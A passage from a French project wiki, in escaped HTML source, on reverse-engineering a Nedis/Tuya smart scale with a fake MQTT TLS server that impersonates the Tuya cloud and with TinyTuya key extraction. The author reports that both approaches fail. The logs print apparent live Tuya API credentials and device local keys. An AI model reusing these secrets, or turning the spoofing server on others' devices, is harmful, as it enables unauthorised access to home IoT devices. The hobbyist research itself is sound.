    }, LOCAL_KEY)&lt;br /&gt;
    sign = tuya_sign(enc, ts, LOCAL_KEY)&lt;br /&gt;
    return {&lt;br /&gt;
        &amp;quot;protocol&amp;quot;: 4,&lt;br /&gt;
        &amp;quot;t&amp;quot;: ts,&lt;br /&gt;
        &amp;quot;data&amp;quot;: enc,&lt;br /&gt;
        &amp;quot;sign&amp;quot;: sign&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
def extract_device_id(topic: str) -&amp;gt; str:&lt;br /&gt;
    return topic.split(&amp;quot;/&amp;quot;)[-1]&lt;br /&gt;
&lt;br /&gt;
# ---------- MQTT UTILS ----------&lt;br /&gt;
def encode_remaining_length(length):&lt;br /&gt;
    out = bytearray()&lt;br /&gt;
    while True:&lt;br /&gt;
        byte = length % 128&lt;br /&gt;
        length //= 128&lt;br /&gt;
        if length &amp;gt; 0:&lt;br /&gt;
            byte |= 0x80&lt;br /&gt;
        out.append(byte)&lt;br /&gt;
        if length == 0:&lt;br /&gt;
            break&lt;br /&gt;
    return out&lt;br /&gt;
&lt;br /&gt;
def create_mqtt_packet(pkt_type, flags, payload):&lt;br /&gt;
    header = bytes([(pkt_type &amp;lt;&amp;lt; 4) | flags])&lt;br /&gt;
    return header + encode_remaining_length(len(payload)) + payload&lt;br /&gt;
&lt;br /&gt;
# ---------- SERVER ----------&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
&lt;br /&gt;
    sock = socket.socket()&lt;br /&gt;
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    sock.bind((&amp;quot;0.0.0.0&amp;quot;, PORT))&lt;br /&gt;
    sock.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;[*] Serveur MQTT TLS Tuya prêt sur {PORT}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    published_topics = set()&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        client, addr = sock.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion de {addr[0]}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        try:&lt;br /&gt;
            conn = context.wrap_socket(client, server_side=True)&lt;br /&gt;
            print(&amp;quot;TLS OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            while True:&lt;br /&gt;
                header = conn.recv(1)&lt;br /&gt;
                if not header:&lt;br /&gt;
                    break&lt;br /&gt;
&lt;br /&gt;
                pkt_type = header[0] &amp;gt;&amp;gt; 4&lt;br /&gt;
&lt;br /&gt;
                # Remaining length&lt;br /&gt;
                multiplier = 1&lt;br /&gt;
                remaining_len = 0&lt;br /&gt;
                while True:&lt;br /&gt;
                    b = conn.recv(1)[0]&lt;br /&gt;
                    remaining_len += (b &amp;amp; 127) * multiplier&lt;br /&gt;
                    multiplier *= 128&lt;br /&gt;
                    if not (b &amp;amp; 128):&lt;br /&gt;
                        break&lt;br /&gt;
&lt;br /&gt;
                payload = b&amp;quot;&amp;quot;&lt;br /&gt;
                while len(payload) &amp;lt; remaining_len:&lt;br /&gt;
                    payload += conn.recv(remaining_len - len(payload))&lt;br /&gt;
&lt;br /&gt;
                # -------- HANDLERS --------&lt;br /&gt;
                if pkt_type == 1:  # CONNECT&lt;br /&gt;
                    print(&amp;quot;&amp;gt;&amp;gt;&amp;gt; CONNECT&amp;quot;)&lt;br /&gt;
                    conn.send(b&amp;quot;\x20\x02\x00\x00&amp;quot;)  # CONNACK OK&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 8:  # SUBSCRIBE&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    topic_len = struct.unpack(&amp;quot;!H&amp;quot;, payload[2:4])[0]&lt;br /&gt;
                    topic = payload[4:4+topic_len].decode(errors=&amp;quot;ignore&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;&amp;gt;&amp;gt;&amp;gt; SUBSCRIBE : {topic}&amp;quot;)&lt;br /&gt;
                    conn.send(create_mqtt_packet(9, 0x00, msg_id + b&amp;quot;\x01&amp;quot;))  # SUBACK QoS 1&lt;br /&gt;
&lt;br /&gt;
                    # Publication automatique&lt;br /&gt;
                    device_id = extract_device_id(topic)&lt;br /&gt;
                    tuya_payload = build_tuya_payload(DPS_POIDS, device_id)&lt;br /&gt;
                    json_payload = json.dumps(tuya_payload)&lt;br /&gt;
&lt;br /&gt;
                    topic_bytes = topic.encode()&lt;br /&gt;
                    var_header = struct.pack(&amp;quot;!H&amp;quot;, len(topic_bytes)) + topic_bytes&lt;br /&gt;
                    packet_payload = var_header + json_payload.encode()&lt;br /&gt;
&lt;br /&gt;
                    # PUBLISH QoS 1&lt;br /&gt;
                    packet = create_mqtt_packet(3, 0x02, packet_payload)&lt;br /&gt;
                    time.sleep(0.5)&lt;br /&gt;
                    conn.send(packet)&lt;br /&gt;
                    print(&amp;quot;POIDS TUYA CHIFFRÉ ENVOYÉ&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 4:  # PUBACK&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; PUBACK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 10:  # UNSUBSCRIBE&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    conn.send(create_mqtt_packet(11, 0x00, msg_id))&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; UNSUBACK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 12:  # PINGREQ&lt;br /&gt;
                    conn.send(b&amp;quot;\xd0\x00&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                else:&lt;br /&gt;
                    print(f&amp;quot;MQTT type {pkt_type} ignoré&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        except Exception as e:&lt;br /&gt;
            print(f&amp;quot;Erreur : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        finally:&lt;br /&gt;
            try:&lt;br /&gt;
                conn.close()&lt;br /&gt;
            except:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    start_server()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Je pense que, pour faire fonctionner cette méthode, il faut absolument que je trouve la clé qui crypte le message pour que Nedis l'accepte quand il le reçoit.&lt;br /&gt;
&lt;br /&gt;
J'ai donc cherché dans cette direction et j'ai découvert deux choses. &lt;br /&gt;
&lt;br /&gt;
Premièrement, TinyTuya, une API Python pour les appareils intelligents Tuya (génial, Nedis utilise Tuya) WiFi utilisant une connexion directe au réseau local (LAN) ou le cloud (API TuyaCloud). TinyTuya permet entre autres de récupérer la fameuse clé.&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai découvert la plateforme IoT de Tuya qui permet, en connectant son application de téléphone sur le site, de jouer avec ses appareils Tuya pour une connexion avec Home Assistant ou encore... TinyTuya !&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Spoiler alerte: J'ai du changer d'application et cette application ne tape plus sur la même adresse. Elle tape sur XX-eu.lifeaiot.com il a donc fallu refaire une redirection vers notre serveur pour ces nouvelles adresses.&lt;br /&gt;
&lt;br /&gt;
Spoiler alerte: j'ai la clé. Je parle plus de TinyTuya dans la prochaine partie car même avec cette clé, ce faux serveur ne marche pas. Je vais donc tenter d'autres pistes.&lt;br /&gt;
&lt;br /&gt;
== TinyTuya ==&lt;br /&gt;
Dans cette partie, nous allons tenter de connecter notre balance à notre faux serveur en utilisant l'utilitaire TinyTuya. Le but est de récupérer le poids de l'utilisateur de la balance lorsqu'il se pèse.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, il a fallu connecter l'appli à la plateforme IOT de Tuya. L'application &amp;quot;Nedis Smartlife&amp;quot; de Nedis, qui utilise bien la même base que l'application Smartlife de Tuya (oui oui, c'est le même nom…), ne veut pas se connecter à la plateforme pour une raison inexplicable (et, au vu du nombre de forums qui parlent du sujet, je ne suis pas le seul).&lt;br /&gt;
&lt;br /&gt;
J'ai donc dû connecter ma balance sur l'appli Smartlife qui a bien voulu se connecter à la plateforme.&lt;br /&gt;
&lt;br /&gt;
Cela me permet de récupérer avec TinyTuya les périphériques&lt;br /&gt;
&lt;br /&gt;
Et je vais maintenant tenter d'expliquer le fonctionnement de TinyTuya étape par étape…&lt;br /&gt;
&lt;br /&gt;
Déjà, pourquoi connecter l'application avec la plateforme IOT de Tuya --&amp;gt; Cela permet à l'appli de récupérer les appareils connectés de mon application, elle va générer un ID et une clé.&lt;br /&gt;
&lt;br /&gt;
Et comment faire pour que TinyTuya ait accès aux appareils --&amp;gt; grâce à la commande &amp;lt;code&amp;gt;python -m tinytuya wizard&amp;lt;/code&amp;gt; qui va prendre l'ID et la clé pour récupérer les appareils. &lt;br /&gt;
&lt;br /&gt;
Ensuite la commande suivante va permettre à TinyTuya de détecter nos appareils qui sont effectivement connectés à notre réseau :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# python3 -m tinytuya devices &lt;br /&gt;
TinyTuya (Tuya device scanner) [1.17.4] Loaded devices.json - 1 devices: Device Listing [     &lt;br /&gt;
{         &lt;br /&gt;
&amp;quot;name&amp;quot;: &amp;quot;P\u00e8se pas que des personnes&amp;quot;,         &lt;br /&gt;
&amp;quot;id&amp;quot;: &amp;quot;84853100a4e57c162d4c&amp;quot;,         &lt;br /&gt;
&amp;quot;key&amp;quot;: &amp;quot;V[z^Gr|qekh]9z_&amp;gt;&amp;quot;,         &lt;br /&gt;
&amp;quot;mac&amp;quot;: &amp;quot;a4:e5:7c:16:2d:4c&amp;quot;,         &lt;br /&gt;
&amp;quot;uuid&amp;quot;: &amp;quot;84853100a4e57c162d4c&amp;quot;,         &lt;br /&gt;
&amp;quot;sn&amp;quot;: &amp;quot;10003702800241&amp;quot;,         &lt;br /&gt;
&amp;quot;category&amp;quot;: &amp;quot;qt&amp;quot;,         &lt;br /&gt;
&amp;quot;product_name&amp;quot;: &amp;quot;Personal Scale&amp;quot;,         &lt;br /&gt;
&amp;quot;product_id&amp;quot;: &amp;quot;arjciqapuueq9cvt&amp;quot;,         &lt;br /&gt;
&amp;quot;biz_type&amp;quot;: 18,         &lt;br /&gt;
&amp;quot;model&amp;quot;: &amp;quot;WIFIHS10WT&amp;quot;,         &lt;br /&gt;
&amp;quot;sub&amp;quot;: false,         &lt;br /&gt;
&amp;quot;icon&amp;quot;: &amp;quot;https://images.tuyaeu.com/smart/icon/ay1513237774906SMBA3/1652104387fa2f735a389.png&amp;quot;,         &lt;br /&gt;
&amp;quot;mapping&amp;quot;: {}     } ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et là, magie, on obtient la clé de la balance, on va pouvoir enfin récupérer le poids de notre utilisateur grâce à ce code Python qui écoute la balance:&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import tinytuya&lt;br /&gt;
&lt;br /&gt;
DEVICE_ID = '84853100a4e57c162d4c'&lt;br /&gt;
IP_ADDRESS = '172.16.10.105'&lt;br /&gt;
LOCAL_KEY = 'V[z^Gr|qekh]9z_&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
# Connexion à l'appareil&lt;br /&gt;
d = tinytuya.Device(DEVICE_ID, IP_ADDRESS, LOCAL_KEY)&lt;br /&gt;
&lt;br /&gt;
d.set_version(3.3)&lt;br /&gt;
&lt;br /&gt;
# Récupérer le statut&lt;br /&gt;
data = d.status() &lt;br /&gt;
print(&amp;quot;Statut complet :&amp;quot;, data)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Évidemment cela ne fonctionne pas. Et pourquoi ? Et bien si l'on regarde dans le bloc &amp;lt;code&amp;gt;python3 -m tinytuya devices TinyTuya&amp;lt;/code&amp;gt; ci-dessous, on observe que le champ mapping est vide. Ce champ est censé afficher toutes les données que TinyTuya est censé pouvoir récupérer… et il est vide…&lt;br /&gt;
&lt;br /&gt;
Soit je suis à l'origine de ce problème, soit TinyTuya ne permet pas de changer nos ampoules connectées en rouge si la balance affiche que notre objectif de poids est dépassé…&lt;br /&gt;
&lt;br /&gt;
Affaire à suivre.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# python3 -m tinytuya wizard -force&lt;br /&gt;
TinyTuya Setup Wizard [1.17.4]&lt;br /&gt;
&lt;br /&gt;
    Existing settings:&lt;br /&gt;
        API Key=g5wufknjhcwqkkpsrgug &lt;br /&gt;
        Secret=edac1effd9374f50b6c61ddd2ea1e734&lt;br /&gt;
        DeviceID=84853100a4e57c162d4c&lt;br /&gt;
        Region=eu&lt;br /&gt;
&lt;br /&gt;
    Use existing credentials (Y/n): &lt;br /&gt;
&lt;br /&gt;
Download DP Name mappings? (Y/n): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Device Listing&lt;br /&gt;
&lt;br /&gt;
[&lt;br /&gt;
    {&lt;br /&gt;
        &amp;quot;name&amp;quot;: &amp;quot;D\u00e9tecteur de fum\u00e9e&amp;quot;,&lt;br /&gt;
        &amp;quot;id&amp;quot;: &amp;quot;86730270483fda3155d0&amp;quot;,&lt;br /&gt;
        &amp;quot;key&amp;quot;: &amp;quot;r@fAdR'PW~0O`v5@&amp;quot;,&lt;br /&gt;
        &amp;quot;mac&amp;quot;: &amp;quot;48:3f:da:31:55:d0&amp;quot;,&lt;br /&gt;
        &amp;quot;uuid&amp;quot;: &amp;quot;86730270483fda3155d0&amp;quot;,&lt;br /&gt;
        &amp;quot;sn&amp;quot;: &amp;quot;1000716370419B&amp;quot;,&lt;br /&gt;
        &amp;quot;category&amp;quot;: &amp;quot;ywbj&amp;quot;,&lt;br /&gt;
        &amp;quot;product_name&amp;quot;: &amp;quot;Smoke detector&amp;quot;,&lt;br /&gt;
        &amp;quot;product_id&amp;quot;: &amp;quot;inwnovped8h5aoaw&amp;quot;,&lt;br /&gt;
        &amp;quot;biz_type&amp;quot;: 18,&lt;br /&gt;
        &amp;quot;model&amp;quot;: &amp;quot;WIFIDS20WT&amp;quot;,&lt;br /&gt;
        &amp;quot;sub&amp;quot;: false,&lt;br /&gt;
        &amp;quot;icon&amp;quot;: &amp;quot;https://images.tuyaeu.com/smart/icon/ay1513237774906SMBA3/651af99cad24017128e3dc2322461ae5.png&amp;quot;,&lt;br /&gt;
        &amp;quot;mapping&amp;quot;: {&lt;br /&gt;
            &amp;quot;1&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;smoke_sensor_status&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Enum&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;range&amp;quot;: [&lt;br /&gt;
                        &amp;quot;alarm&amp;quot;,&lt;br /&gt;
                        &amp;quot;normal&amp;quot;&lt;br /&gt;
                    ]&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;14&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;battery_state&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Enum&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;range&amp;quot;: [&lt;br /&gt;
                        &amp;quot;low&amp;quot;,&lt;br /&gt;
                        &amp;quot;middle&amp;quot;,&lt;br /&gt;
                        &amp;quot;high&amp;quot;&lt;br /&gt;
                    ]&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    },&lt;br /&gt;
    {&lt;br /&gt;
        &amp;quot;name&amp;quot;: &amp;quot;P\u00e8se pas que des personnes&amp;quot;,&lt;br /&gt;
        &amp;quot;id&amp;quot;: &amp;quot;84853100a4e57c162d4c&amp;quot;,&lt;br /&gt;
        &amp;quot;key&amp;quot;: &amp;quot;V[z^Gr|qekh]9z_&amp;gt;&amp;quot;,&lt;br /&gt;
        &amp;quot;mac&amp;quot;: &amp;quot;a4:e5:7c:16:2d:4c&amp;quot;,&lt;br /&gt;
        &amp;quot;uuid&amp;quot;: &amp;quot;84853100a4e57c162d4c&amp;quot;,&lt;br /&gt;
        &amp;quot;sn&amp;quot;: &amp;quot;10003702800241&amp;quot;,&lt;br /&gt;
        &amp;quot;category&amp;quot;: &amp;quot;qt&amp;quot;,&lt;br /&gt;
        &amp;quot;product_name&amp;quot;: &amp;quot;Personal Scale&amp;quot;,&lt;br /&gt;
        &amp;quot;product_id&amp;quot;: &amp;quot;arjciqapuueq9cvt&amp;quot;,&lt;br /&gt;
        &amp;quot;biz_type&amp;quot;: 18,&lt;br /&gt;
        &amp;quot;model&amp;quot;: &amp;quot;WIFIHS10WT&amp;quot;,&lt;br /&gt;
        &amp;quot;sub&amp;quot;: false,&lt;br /&gt;
        &amp;quot;icon&amp;quot;: &amp;quot;https://images.tuyaeu.com/smart/icon/ay1513237774906SMBA3/1652104387fa2f735a389.png&amp;quot;,&lt;br /&gt;
        &amp;quot;mapping&amp;quot;: {}&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving list to devices.json&lt;br /&gt;
    2 registered devices saved&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving raw TuyaPlatform response to tuya-raw.json&lt;br /&gt;
&lt;br /&gt;
Poll local devices? (Y/n): &lt;br /&gt;
&lt;br /&gt;
Scanning local network for Tuya devices...&lt;br /&gt;
Scan network 172.16.10.0/24 from interface eth0? ([Y]es/[n]o/[a]ll yes): &lt;br /&gt;
Scan network 172.26.145.0/24 from interface eth1? ([Y]es/[n]o/[a]ll yes): n&lt;br /&gt;
Scan network 172.26.145.0/24 from interface eth1? ([Y]es/[n]o/[a]ll yes): n&lt;br /&gt;
    0 local devices discovered                                   &lt;br /&gt;
&lt;br /&gt;
Polling local devices...&lt;br /&gt;
    [Détecteur de fumée       ] Error: No IP found&lt;br /&gt;
    [Pèse pas que des personne] Error: No IP found&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving device snapshot data to snapshot.json&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Done.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;De plus, on constate que notre balance n'est pas détectée dans les appareils locaux et ce même si je suis sur la balance. Pourtant le poids transite bien vers les serveurs !&lt;br /&gt;
&lt;br /&gt;
Ma théorie est que la balance ne se connecte au wifi qu'au moment d'envoyer le poids et les informations corporelles vers les serveurs. Cette action doit être assez rapide pour que TinyTuya ne la détecte pas.&lt;br /&gt;
&lt;br /&gt;
Pour confirmer mes dires, j'ai pris l'une des trois ampoules connectées Nedis que j'ai configurées dans mon application.&lt;br /&gt;
&lt;br /&gt;
Et là, on constate dans le bloc suivant que le champ mapping de l'ampoule n'est pas vide ! Il y a des possibilités d'action à transmettre ou à recevoir.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# python3 -m tinytuya wizard&lt;br /&gt;
TinyTuya Setup Wizard [1.17.4]&lt;br /&gt;
&lt;br /&gt;
    Existing settings:&lt;br /&gt;
        API Key=g5wufknjhcwqkkpsrgug &lt;br /&gt;
        Secret=edac1effd9374f50b6c61ddd2ea1e734&lt;br /&gt;
        DeviceID=84853100a4e57c162d4c&lt;br /&gt;
        Region=eu&lt;br /&gt;
&lt;br /&gt;
    Use existing credentials (Y/n): n&lt;br /&gt;
&lt;br /&gt;
    Enter API Key from tuya.com: g5wufknjhcwqkkpsrgug&lt;br /&gt;
    Enter API Secret from tuya.com: edac1effd9374f50b6c61ddd2ea1e734&lt;br /&gt;
    Enter any Device ID currently registered in Tuya App (used to pull full list) or 'scan' to scan for one: bf85da6b2eccef5784rydz&lt;br /&gt;
&lt;br /&gt;
      Region List&lt;br /&gt;
        cn	China Data Center (alias: AY)&lt;br /&gt;
        us	US - Western America Data Center (alias: AZ)&lt;br /&gt;
        us-e	US - Eastern America Data Center (alias: UE)&lt;br /&gt;
        eu	Central Europe Data Center&lt;br /&gt;
        eu-w	Western Europe Data Center (alias: WE)&lt;br /&gt;
        in	India Data Center&lt;br /&gt;
        sg	Singapore Data Center&lt;br /&gt;
&lt;br /&gt;
    Enter Your Region (Options: cn, us, us-e, eu, eu-w, in, or sg): eu&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Configuration Data Saved to tinytuya.json&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;apiKey&amp;quot;: &amp;quot;g5wufknjhcwqkkpsrgug&amp;quot;,&lt;br /&gt;
    &amp;quot;apiSecret&amp;quot;: &amp;quot;edac1effd9374f50b6c61ddd2ea1e734&amp;quot;,&lt;br /&gt;
    &amp;quot;apiRegion&amp;quot;: &amp;quot;eu&amp;quot;,&lt;br /&gt;
    &amp;quot;apiDeviceID&amp;quot;: &amp;quot;bf85da6b2eccef5784rydz&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Download DP Name mappings? (Y/n): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Device Listing&lt;br /&gt;
&lt;br /&gt;
[&lt;br /&gt;
    {&lt;br /&gt;
        &amp;quot;name&amp;quot;: &amp;quot;Ampoule Connect\u00e9e&amp;quot;,&lt;br /&gt;
        &amp;quot;id&amp;quot;: &amp;quot;bf85da6b2eccef5784rydz&amp;quot;,&lt;br /&gt;
        &amp;quot;key&amp;quot;: &amp;quot;ZO:}y#{'gM.QuI|T&amp;quot;,&lt;br /&gt;
        &amp;quot;mac&amp;quot;: &amp;quot;10:5a:17:a9:b5:6f&amp;quot;,&lt;br /&gt;
        &amp;quot;uuid&amp;quot;: &amp;quot;b73f1a854ac4219e&amp;quot;,&lt;br /&gt;
        &amp;quot;sn&amp;quot;: &amp;quot;830-2-20148D&amp;quot;,&lt;br /&gt;
        &amp;quot;category&amp;quot;: &amp;quot;dj&amp;quot;,&lt;br /&gt;
        &amp;quot;product_name&amp;quot;: &amp;quot;Smart bulb&amp;quot;,&lt;br /&gt;
        &amp;quot;product_id&amp;quot;: &amp;quot;mdzqw8qjfzfdjz9n&amp;quot;,&lt;br /&gt;
        &amp;quot;biz_type&amp;quot;: 18,&lt;br /&gt;
        &amp;quot;model&amp;quot;: &amp;quot;WIFILRW10E27&amp;quot;,&lt;br /&gt;
        &amp;quot;sub&amp;quot;: false,&lt;br /&gt;
        &amp;quot;icon&amp;quot;: &amp;quot;https://images.tuyaeu.com/smart/icon/ay1513237774906SMBA3/9a70929a5f5c1855c1c091ab404b8319.png&amp;quot;,&lt;br /&gt;
        &amp;quot;mapping&amp;quot;: {&lt;br /&gt;
            &amp;quot;20&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;switch_led&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Boolean&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {}&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;21&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;work_mode&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Enum&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;range&amp;quot;: [&lt;br /&gt;
                        &amp;quot;white&amp;quot;,&lt;br /&gt;
                        &amp;quot;colour&amp;quot;,&lt;br /&gt;
                        &amp;quot;scene&amp;quot;,&lt;br /&gt;
                        &amp;quot;music&amp;quot;&lt;br /&gt;
                    ]&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;22&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;bright_value_v2&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Integer&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;min&amp;quot;: 10,&lt;br /&gt;
                    &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                    &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                    &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;23&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;temp_value_v2&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Integer&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                    &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                    &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                    &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;25&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;scene_data_v2&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Json&amp;quot;,&lt;br /&gt;
                &amp;quot;raw_values&amp;quot;: &amp;quot;{\&amp;quot;scene_num\&amp;quot;:{\&amp;quot;min\&amp;quot;:1,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;max\&amp;quot;:8,\&amp;quot;step\&amp;quot;:1},\&amp;quot;scene_units\&amp;quot;: {\&amp;quot;unit_change_mode\&amp;quot;:{\&amp;quot;range\&amp;quot;:[\&amp;quot;static\&amp;quot;,\&amp;quot;jump\&amp;quot;,\&amp;quot;gradient\&amp;quot;]},\&amp;quot;unit_switch_duration\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;max\&amp;quot;:100,\&amp;quot;step\&amp;quot;:1},\&amp;quot;unit_gradient_duration\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;max\&amp;quot;:100,\&amp;quot;step\&amp;quot;:1},\&amp;quot;bright\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;max\&amp;quot;:1000,\&amp;quot;step\&amp;quot;:1},\&amp;quot;temperature\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;max\&amp;quot;:1000,\&amp;quot;step\&amp;quot;:1},\&amp;quot;h\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:360,\&amp;quot;step\&amp;quot;:1},\&amp;quot;s\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:1000,\&amp;quot;step\&amp;quot;:1},\&amp;quot;v\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:1000,\&amp;quot;step\&amp;quot;:1}}}&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;scene_num&amp;quot;: {&lt;br /&gt;
                        &amp;quot;min&amp;quot;: 1,&lt;br /&gt;
                        &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;max&amp;quot;: 8,&lt;br /&gt;
                        &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                    },&lt;br /&gt;
                    &amp;quot;scene_units&amp;quot;: {&lt;br /&gt;
                        &amp;quot;unit_change_mode&amp;quot;: {&lt;br /&gt;
                            &amp;quot;range&amp;quot;: [&lt;br /&gt;
                                &amp;quot;static&amp;quot;,&lt;br /&gt;
                                &amp;quot;jump&amp;quot;,&lt;br /&gt;
                                &amp;quot;gradient&amp;quot;&lt;br /&gt;
                            ]&lt;br /&gt;
                        },&lt;br /&gt;
                        &amp;quot;unit_switch_duration&amp;quot;: {&lt;br /&gt;
                            &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;max&amp;quot;: 100,&lt;br /&gt;
                            &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                        },&lt;br /&gt;
                        &amp;quot;unit_gradient_duration&amp;quot;: {&lt;br /&gt;
                            &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;max&amp;quot;: 100,&lt;br /&gt;
                            &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                        },&lt;br /&gt;
                        &amp;quot;bright&amp;quot;: {&lt;br /&gt;
                            &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
